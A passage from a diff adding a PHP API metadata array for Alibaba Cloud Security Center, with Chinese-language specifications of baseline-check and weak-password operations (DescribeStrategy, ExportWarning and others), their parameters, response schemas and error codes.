'summary' => '查看资产中存在的高危弱口令风险数量。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '1.2.3.4', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'SasVersion' => [ + 'description' => '已购买的云安全中心版本。 取值：'."\n" + ."\n" + .'- **1**：免费版'."\n" + .'- **2**或**3**：企业版 '."\n" + .'- **5**：高级版 '."\n" + .'- **6**：防病毒版'."\n" + ."\n" + .'> 2和3对应的都是企业版，两者对应的版本无差异。', + 'type' => 'string', + 'example' => '3', + ], + 'CanTry' => [ + 'description' => '当前云安全中心版本是否为试用版本。取值：'."\n" + .'- **0**：非试用版本'."\n" + .'- **1**：试用版本', + 'type' => 'string', + 'example' => '0', + ], + 'WeakPasswordCount' => [ + 'description' => '您资产中检测到的高危弱口令风险的数量。', + 'type' => 'string', + 'example' => '3', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'ConsoleError', + 'errorMessage' => 'The error message is %s %s.', + ], + [ + 'errorCode' => 'UnknownError', + 'errorMessage' => 'UnknownError', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"SasVersion\\": \\"3\\",\\n \\"CanTry\\": \\"0\\",\\n \\"WeakPasswordCount\\": \\"3\\",\\n \\"RequestId\\": \\"4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 3\\n A05C19BD-13D1-4040-B1F6-821CFB9F4DE8\\n 0\\n 2\\n","errorExample":""}]', + 'title' => '查看高危弱口令风险数量', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeUserBaselineAuthorization' => [ + 'summary' => '查询用户云平台授权信息的状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.3.4', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '结果的请求ID。', + 'type' => 'string', + 'example' => '0AF20EB0-EBBC-4B94-9B84-F3BAFAC53EDE', + ], + 'UserBaselineAuthorization' => [ + 'description' => '云基线配置检查授权信息。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '云平台配置检查授权状态。'."\n" + .'- **0**：授权关闭。授权关闭的状态下，您无法使用云平台配置检查功能。'."\n" + .'- **1**：授权开启。授权开启的状态下，才可以使用云平台配置检查功能。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"0AF20EB0-EBBC-4B94-9B84-F3BAFAC53EDE\\",\\n \\"UserBaselineAuthorization\\": {\\n \\"Status\\": 1\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n \\n 1\\n \\n\\n0AF20EB0-EBBC-4B94-9B84-F3BAFAC53EDE","errorExample":""}]', + 'title' => '查询用户云平台授权信息的状态', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeStrategyDetail' => [ + 'summary' => '获取基线策略的详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '基线策略ID。', + 'type' => 'string', + 'required' => true, + 'example' => '123456', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '基线策略详情返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'C5B28F65-9245-5DC1-B3CF-5F2756A756A8', + ], + 'Strategy' => [ + 'description' => '策略的信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '策略添加类型。取值：'."\n" + ."\n" + .'- **1**：系统添加策略，策略名称为默认策略'."\n" + .'- **2**：用户添加策略', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'CycleDays' => [ + 'description' => '策略的检测周期。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'Name' => [ + 'description' => '策略名称。', + 'type' => 'string', + 'example' => 'TestStrategy', + ], + 'Id' => [ + 'description' => '策略ID。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '123', + ], + 'CycleStartTime' => [ + 'description' => '策略的检测周期。取值：'."\n" + ."\n" + .'- **0**：0：00~06：00'."\n" + .'- **6**：6：00~12：00'."\n" + .'- **12**：12：00~18：00'."\n" + .'- **18**：18：00~24：00', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RiskTypeWhiteListQueryResultList' => [ + 'description' => '风险项白名单列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险项白名单。', + 'type' => 'object', + 'properties' => [ + 'TypeName' => [ + 'description' => '检测项。', + 'type' => 'string', + 'example' => 'hc_exploit', + ], + 'Alias' => [ + 'description' => '检测项别名。', + 'type' => 'string', + 'example' => 'Unauthorized Access', + ], + 'On' => [ + 'description' => '风险项是否选中。取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'example' => 'false', + ], + 'SubTypes' => [ + 'description' => '子风险项的列表。', + 'type' => 'array', + 'items' => [ + 'description' => '子风险项。', + 'type' => 'object', + 'properties' => [ + 'TypeName' => [ + 'description' => '子检测项类型名称。', + 'type' => 'string', + 'example' => 'hc_exploit_redis', + ], + 'Alias' => [ + 'description' => '检测项别名。', + 'type' => 'string', + 'example' => 'Redis unauthorized access high exploit vulnerability risk', + ], + 'On' => [ + 'description' => '子风险项是否选中。取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'example' => 'false', + ], + 'CheckDetails' => [ + 'description' => '自定义检测项详情列表。', + 'type' => 'array', + 'items' => [ + 'description' => '自定义检测项详情。', + 'type' => 'object', + 'properties' => [ + 'CheckId' => [ + 'description' => '检测项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '206', + ], + 'CheckItem' => [ + 'description' => '检测项。', + 'type' => 'string', + 'example' => 'Ensure password expiration period is set.', + ], + 'CheckDesc' => [ + 'description' => '检测项描述。', + 'type' => 'string', + 'example' => 'Set password expiration time, force regular modification of password, reduce password leakage and guess risk.Use non-password login (e.g. key pair) please ignore this item.', + ], + 'Rules' => [ + 'description' => '规则信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '规则信息。', + 'type' => 'object', + 'properties' => [ + 'Optional' => [ + 'description' => '规则是否可选。取值：'."\n" + ."\n" + .'- **1**：是'."\n" + .'- **0**：否', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RuleDesc' => [ + 'description' => '规则描述。', + 'type' => 'string', + 'example' => 'Please customize the password expiration time detection standard as', + ], + 'DefaultValue' => [ + 'description' => '规则的默认值。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'RuleId' => [ + 'description' => '规则ID。', + 'type' => 'string', + 'example' => 'login_unlock_deny_pam_faillock.must.cus', + ], + 'ParamList' => [ + 'description' => '规则参数列表。', + 'type' => 'array', + 'items' => [ + 'description' => '规则参数信息。', + 'type' => 'object', + 'properties' => [ + 'ParamDefaultValue' => [ + 'description' => '规则参数默认值。', + 'type' => 'string', + 'example' => '7', + ], + 'Value' => [ + 'description' => '规则参数设置值。', + 'type' => 'string', + 'example' => '7', + ], + 'ParamName' => [ + 'description' => '规则参数名称。', + 'type' => 'string', + 'example' => 'range_val', + ], + 'MaxValue' => [ + 'description' => '规则参数最大值。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '999', + ], + 'ParamType' => [ + 'description' => '规则参数类型。取值：'."\n" + ."\n" + .'- **1**：输入'."\n" + .'- **2**：选择', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ParamDesc' => [ + 'description' => '规则参数描述。', + 'type' => 'string', + 'example' => 'The setting value is 0 means no definition, 1 means success, 2 means failure, 3 means success and failure', + ], + 'MinValue' => [ + 'description' => '规则参数最小值。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'EnumValue' => [ + 'description' => '规则参数为选择类型时，规则参数的选项。', + 'type' => 'string', + 'example' => '0,1,2,3', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'SupportedOs' => [ + 'description' => '支持的操作系统。取值：'."\n" + ."\n" + .'- **windows**'."\n" + .'- **linux**', + 'type' => 'string', + 'example' => 'windows', + ], + ], + ], + ], + ], + ], + ], + 'StartTime' => [ + 'description' => '基线检查策略开始时间。', + 'type' => 'string', + 'example' => '02:00:00', + ], + 'EndTime' => [ + 'description' => '基线检查策略执行结束时间。', + 'type' => 'string', + 'example' => '03:00:00', + ], + 'CustomType' => [ + 'description' => '策略的类型。取值：'."\n" + ."\n" + .'- **common**：标准策略'."\n" + .'- **custom**：自定义策略', + 'type' => 'string', + 'example' => 'common', + ], + 'TargetType' => [ + 'description' => '策略生效资产的添加方式。取值：'."\n" + ."\n" + .'- **groupId**：按照资产的分组添加。'."\n" + .'- **uuid**：按照单个资产添加。', + 'type' => 'string', + 'example' => 'groupId', + ], + 'RiskSubTypeName' => [ + 'description' => '基线检测项子类型。', + 'type' => 'string', + 'example' => 'hc_nginx_linux,tomcat7,hc_mysql_ali,hc_docker', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C5B28F65-9245-5DC1-B3CF-5F2756A756A8\\",\\n \\"Strategy\\": {\\n \\"Type\\": 1,\\n \\"CycleDays\\": 3,\\n \\"Name\\": \\"TestStrategy\\",\\n \\"Id\\": 123,\\n \\"CycleStartTime\\": 0,\\n \\"RiskTypeWhiteListQueryResultList\\": [\\n {\\n \\"TypeName\\": \\"hc_exploit\\",\\n \\"Alias\\": \\"Unauthorized Access\\",\\n \\"On\\": false,\\n \\"SubTypes\\": [\\n {\\n \\"TypeName\\": \\"hc_exploit_redis\\",\\n \\"Alias\\": \\"Redis unauthorized access high exploit vulnerability risk\\",\\n \\"On\\": false,\\n \\"CheckDetails\\": [\\n {\\n \\"CheckId\\": 206,\\n \\"CheckItem\\": \\"Ensure password expiration period is set.\\",\\n \\"CheckDesc\\": \\"Set password expiration time, force regular modification of password, reduce password leakage and guess risk.Use non-password login (e.g. key pair) please ignore this item.\\",\\n \\"Rules\\": [\\n {\\n \\"Optional\\": 1,\\n \\"RuleDesc\\": \\"Please customize the password expiration time detection standard as\\",\\n \\"DefaultValue\\": 2,\\n \\"RuleId\\": \\"login_unlock_deny_pam_faillock.must.cus\\",\\n \\"ParamList\\": [\\n {\\n \\"ParamDefaultValue\\": \\"7\\",\\n \\"Value\\": \\"7\\",\\n \\"ParamName\\": \\"range_val\\",\\n \\"MaxValue\\": 999,\\n \\"ParamType\\": 1,\\n \\"ParamDesc\\": \\"The setting value is 0 means no definition, 1 means success, 2 means failure, 3 means success and failure\\",\\n \\"MinValue\\": 1,\\n \\"EnumValue\\": \\"0,1,2,3\\"\\n }\\n ]\\n }\\n ]\\n }\\n ],\\n \\"SupportedOs\\": \\"windows\\"\\n }\\n ]\\n }\\n ],\\n \\"StartTime\\": \\"02:00:00\\",\\n \\"EndTime\\": \\"03:00:00\\",\\n \\"CustomType\\": \\"common\\",\\n \\"TargetType\\": \\"groupId\\",\\n \\"RiskSubTypeName\\": \\"hc_nginx_linux,tomcat7,hc_mysql_ali,hc_docker\\"\\n }\\n}","type":"json"}]', + 'title' => '获取基线策略详情', + ], + 'ExportWarning' => [ + 'summary' => '导出基线检查结果列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => true, + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '106282', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.0.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '要导出基线检查结果列表的服务器资产的UUID。多个UUID之间使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => false, + 'example' => 'inet-7c676676-06fa-442e-90fb-b802e****,inet-7c676676-06fa-442e-90fb-b****', + ], + ], + [ + 'name' => 'TypeName', + 'in' => 'query', + 'schema' => [ + 'description' => '设置要导出的基线检查结果所属的基线类型。'."\n" + .'> 调用[DescribeRiskType](~~DescribeRiskType~~)接口返回的**TypeName**字段。**TypeName**、**TypeNames**这两个参数同时设置时，仅**TypeName**生效。', + 'type' => 'string', + 'required' => false, + 'example' => 'hc_container', + ], + ], + [ + 'name' => 'TypeNames', + 'in' => 'query', + 'schema' => [ + 'description' => '设置要导出的基线检查结果所属的基线类型。多个类型之间使用半角逗号（,）分隔。'."\n" + ."\n" + .'> 调用[DescribeRiskType](~~DescribeRiskType~~)接口返回的**TypeName**字段。**TypeName**、**TypeNames**这两个参数同时设置时，仅**TypeName**生效。', + 'type' => 'string', + 'required' => false, + 'example' => 'hc_container,cis', + ], + ], + [ + 'name' => 'SubTypeNames', + 'in' => 'query', + 'schema' => [ + 'description' => '设置要导出的基线检查结果所属的基线子类型。多个子类型之间使用半角逗号（,）分隔。'."\n" + ."\n" + .'> 调用[DescribeRiskType](~~DescribeRiskType~~)接口返回的**SubTypes**字段下的**TypeName**字段。', + 'type' => 'string', + 'required' => false, + 'example' => 'hc_middleware_ack_master', + ], + ], + [ + 'name' => 'RiskLevels', + 'in' => 'query', + 'schema' => [ + 'description' => '基线的风险等级。多个风险等级之间使用半角逗号（,）分隔。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'required' => false, + 'example' => 'high,medium', + ], + ], + [ + 'name' => 'StatusList', + 'in' => 'query', + 'schema' => [ + 'description' => '基线检查结果的风险项的状态。多个状态值之间使用半角逗号（,）分隔。取值：'."\n" + ."\n" + .'- **3**：已通过'."\n" + .'- **1**：未通过'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '1,3', + ], + ], + [ + 'name' => 'RiskName', + 'in' => 'query', + 'schema' => [ + 'description' => '基线的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'Alibaba Cloud Standard - Windows 2016/2019 Security Baseline', + ], + ], + [ + 'name' => 'Dealed', + 'in' => 'query', + 'schema' => [ + 'description' => '基线问题是否已处理。取值：'."\n" + ."\n" + .'- **Y**：已处理'."\n" + .'- **N**：未处理', + 'type' => 'string', + 'required' => false, + 'example' => 'N', + ], + ], + [ + 'name' => 'IsSummaryExport', + 'in' => 'query', + 'schema' => [ + 'description' => '基线检查结果是否汇总导出。取值：'."\n" + ."\n" + .'- **0**：否'."\n" + .'- **1**：是', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'StrategyId', + 'in' => 'query', + 'schema' => [ + 'description' => '基线检查策略的策略ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '12', + ], + ], + [ + 'name' => 'RiskIds', + 'in' => 'query', + 'schema' => [ + 'description' => '基线检查结果的风险项ID。多个风险项ID之间使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => false, + 'example' => '123,124', + ], + ], + [ + 'name' => 'ExportType', + 'in' => 'query', + 'schema' => [ + 'description' => '导出任务的类型。固定取值为**hc\\_check_warning**，表示导出基线检查结果。', + 'type' => 'string', + 'required' => false, + 'example' => 'hc_check_warning', + ], + ], + [ + 'name' => 'IsCleartextPwd', + 'in' => 'query', + 'schema' => [ + 'description' => '弱口令基线检查结果的导出方式。取值：'."\n" + ."\n" + .'- **0**：弱口令进行脱敏后导出'."\n" + .'- **1**：弱口令直接明文导出', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'GroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器的分组ID。'."\n" + .'> 您可调用[DescribeAllGroups](~~DescribeAllGroups~~)接口获取服务器的分组ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '13007754', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A7FC828B-C242-1005-9736-C7CC5DC09FF0', + ], + 'FileName' => [ + 'description' => '导出的基线检查结果文件的名称。', + 'type' => 'string', + 'example' => 'health_check_export_20220407', + ], + 'Id' => [ + 'description' => '导出基线检查结果列表的任务ID。'."\n" + ."\n" + .'> 您可以使用该参数调用[DescribeHcExportInfo](~~DescribeHcExportInfo~~)查询导出进度。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '439316', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'FreeVersionNotPermit', + 'errorMessage' => 'Free version is not permitted.', + ], + [ + 'errorCode' => 'ExportRecordNotFound', + 'errorMessage' => 'No risk entries found for export.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'substitutions' => [ + 'Sas::2018-12-03::ExportRecord', + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"A7FC828B-C242-1005-9736-C7CC5DC09FF0\\",\\n \\"FileName\\": \\"health_check_export_20220407\\",\\n \\"Id\\": 439316\\n}","errorExample":""},{"type":"xml","example":"\\n A7FC828B-C242-1005-9736-C7CC5DC09FF0\\n health_check_export_20220407\\n 439316\\n","errorExample":""}]', + 'title' => '导出基线检查结果', + ], + 'DescribeStrategy' => [ + 'summary' => '查询基线检查策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92204', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.X.X', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'StrategyIds', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的策略的ID。多个ID之间使用半角逗号（,）隔开。', + 'type' => 'string', + 'required' => false, + 'example' => '8164248', + ], + ], + [ + 'name' => 'CustomType', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的策略的类型。取值：'."\n" + ."\n" + .'- **common**：标准策略'."\n" + .'- **custom**：自定义策略', + 'type' => 'string', + 'required' => false, + 'example' => 'custom', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '基线检查策略返回信息。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '75C127E6-76CD-59A7-B6E4-1CBBDC98F2EB', + ], + 'Strategies' => [ + 'description' => '策略的详细信息集合。', + 'type' => 'array', + 'items' => [ + 'description' => '策略的详细信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '策略的来源类型。取值：'."\n" + ."\n" + .'- **1**：系统自带的策略，即云安全中心默认执行的基线检查策略。'."\n" + .'- **2**：用户添加的策略，包括用户自定义创建的标准策略和自定义策略。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'ExecStatus' => [ + 'description' => '基线检查策略的执行状态。取值：'."\n" + ."\n" + .'- **1**：未执行'."\n" + .'- **2**：执行中', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PassRate' => [ + 'description' => "\n" + .'执行基线检查策略发现的存在风险的基线的占比。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'CycleStartTime' => [ + 'description' => '基线检查开始的时间。取值：'."\n" + ."\n" + .'- **0**：表示基线检查开始的时间为0:00~6:00'."\n" + .'- **6**：表示基线检查开始的时间为6:00~12:00'."\n" + .'- **12**：表示基线检查开始的时间为12:00~18:00'."\n" + .'- **18**：表示基线检查开始的时间为18:00~24:00', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'CustomType' => [ + 'description' => '策略的类型。取值：'."\n" + ."\n" + .'- **common**：标准策略'."\n" + .'- **custom**：自定义策略', + 'type' => 'string', + 'example' => 'custom', + ], + 'EcsCount' => [ + 'description' => '策略生效的资产的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '50', + ], + 'ProcessRate' => [ + 'description' => '已完成基线检查的资产的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'CycleDays' => [ + 'description' => '基线检查的周期。取值：'."\n" + ."\n" + .'- **1**：每隔1天'."\n" + .'- **3**：每隔3天'."\n" + .'- **7**：每隔7天'."\n" + .'- 30：每隔30天', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RiskCount' => [ + 'description' => '策略包含的基线检查项的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '23', + ], + 'Name' => [ + 'description' => '策略的名称。', + 'type' => 'string', + 'example' => 'text2', + ], + 'Id' => [ + 'description' => '策略的ID。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '8164248', + ], + 'ConfigTargets' => [ + 'description' => '策略生效资产的信息集合。', + 'type' => 'array', + 'items' => [ + 'description' => '策略生效资产的信息。', + 'type' => 'object', + 'properties' => [ + 'Flag' => [ + 'description' => '策略是否对该资产分组生效。取值：'."\n" + ."\n" + .'- **add**：对该资产分组生效'."\n" + .'- **del**：不对该资产分组生效', + 'type' => 'string', + 'example' => 'add', + ], + 'Target' => [ + 'description' => '策略生效的资产的分组ID或者UUID。', + 'type' => 'string', + 'example' => '10099713', + ], + 'TargetType' => [ + 'description' => '策略生效资产的添加方式。取值：'."\n" + ."\n" + .'- **groupId**：按照资产的分组添加。'."\n" + .'- **uuid**：按照单个资产添加。', + 'type' => 'string', + 'example' => 'groupId', + ], + ], + ], + ], + 'StartTime' => [ + 'description' => '基线检查策略执行开始时间。', + 'type' => 'string', + 'example' => '00:00:00', + ], + 'EndTime' => [ + 'description' => '基线检查策略执行结束时间。', + 'type' => 'string', + 'example' => '03:00:00', + ], + 'Percent' => [ + 'description' => '检查中基线的检查进度，仅ExecStatus = 2的基线会返回该参数。', + 'type' => 'string', + 'example' => '50%', + ], + 'UserModifyTime' => [ + 'description' => '基线检测策略的上次修改时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2025-01-07 10:46:43', + ], + 'ExecutionType' => [ + 'description' => '基线扫描的触发方式。取值：'."\n" + ."\n" + .'- **Schedule**：周期性配置任务触发'."\n" + .'- **Manual**：手动触发', + 'type' => 'string', + 'example' => 'Manual', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ConsoleError', + 'errorMessage' => 'The error message is %s %s.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"75C127E6-76CD-59A7-B6E4-1CBBDC98F2EB\\",\\n \\"Strategies\\": [\\n {\\n \\"Type\\": 2,\\n \\"ExecStatus\\": 1,\\n \\"PassRate\\": 0,\\n \\"CycleStartTime\\": 0,\\n \\"CustomType\\": \\"custom\\",\\n \\"EcsCount\\": 50,\\n \\"ProcessRate\\": 20,\\n \\"CycleDays\\": 1,\\n \\"RiskCount\\": 23,\\n \\"Name\\": \\"text2\\",\\n \\"Id\\": 8164248,\\n \\"ConfigTargets\\": [\\n {\\n \\"Flag\\": \\"add\\",\\n \\"Target\\": \\"10099713\\",\\n \\"TargetType\\": \\"groupId\\"\\n }\\n ],\\n \\"StartTime\\": \\"00:00:00\\",\\n \\"EndTime\\": \\"03:00:00\\",\\n \\"Percent\\": \\"50%\\",\\n \\"UserModifyTime\\": 0,\\n \\"ExecutionType\\": \\"Manual\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 75C127E6-76CD-59A7-B6E4-1CBBDC98F2EB\\n \\n 2\\n 1\\n 0\\n 0\\n custom\\n 50\\n 20\\n 1\\n 23\\n text2\\n 8164248\\n \\n add\\n 10099713\\n groupId\\n \\n \\n","errorExample":""}]', + 'title' => '查询基线检查策略', + ], + 'DescribeStrategyTarget' => [ + 'summary' => '查询基线检查策略生效的资产的信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92208', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.X.X', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '设置查询类型。此处为固定值：hc_strategy，表示查询基线策略。', + 'type' => 'string', + 'required' => true, + 'example' => 'hc_strategy', + ], + ], + [ + 'name' => 'Config', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的基线检查策略的ID。', + 'type' => 'string', + 'required' => true, + 'example' => '{"strategyId":8167126}', + ], 